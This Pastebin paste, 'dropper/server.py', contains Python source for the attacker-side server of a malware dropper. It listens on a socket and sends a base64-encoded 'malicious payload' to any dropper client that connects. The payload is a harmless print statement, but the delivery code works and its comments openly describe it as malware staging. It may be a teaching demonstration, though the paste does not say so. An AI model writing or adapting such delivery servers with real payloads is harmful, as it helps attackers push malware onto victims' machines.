FlyFar

dropper/server.py

Oct 19th, 2023
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.12 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. """ Implementation of the server that sends some malicious code to its
  4.    dropper client.
  5. """
  6.  
  7. import base64
  8. import logging
  9. import socket
  10.  
  11.  
  12. class Server:
  13.     """ This class represents a server that stores some malicious payload and sends
  14.    it to the dropper once the connection is established.
  15.    """
  16.  
  17.     def __init__(self, port):
  18.         self._port = port
  19.         # Initialize the socket for connection.
  20.         self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  21.  
  22.     @property
  23.     def malicious_code(self):
  24.         """ Malicious payload. In this case just a demonstrative command. """
  25.         return b'print("Hello there")'
  26.  
  27.     @property
  28.     def port(self):
  29.         """ Port, on which the server runs (`int`). """
  30.         return self._port
  31.  
  32.     @port.setter
  33.     def port(self, new_port):
  34.         self._port = new_port
  35.  
  36.     @property
  37.     def socket(self):
  38.         """ Server socket. """
  39.         return self._socket
  40.  
  41.     def initialize(self):
  42.         """ Initialize server before the session. """
  43.         try:
  44.             self.socket.bind(('localhost', self._port))
  45.             self.socket.listen()
  46.             logging.debug('Server was successfully initialized.')
  47.         except socket.error:
  48.             print('Server was not initialized due to an error.')
  49.  
  50.     def send_malicious_code(self):
  51.         """ Send malware to the client once the connection is established. """
  52.         # Establish a connection with the client.
  53.         connection, address = self.socket.accept()
  54.         with connection:
  55.             print('Connection with dropper established from {}'.format(address))
  56.             # Send data to the client and shut down the server.
  57.             encoded_payload = base64.b64encode(self.malicious_code)
  58.             connection.send(encoded_payload)
  59.  
  60.  
  61. if __name__ == '__main__':
  62.     logging.basicConfig(level=logging.DEBUG)
  63.  
  64.     # Create and initialize a server running on attacker's side.
  65.     server = Server(27000)
  66.     server.initialize()
  67.     # Send a payload to the dropper client once it establishes a connection.
  68.     server.send_malicious_code()
Tags: Server dropper
Add Comment
Please, Sign In to add comment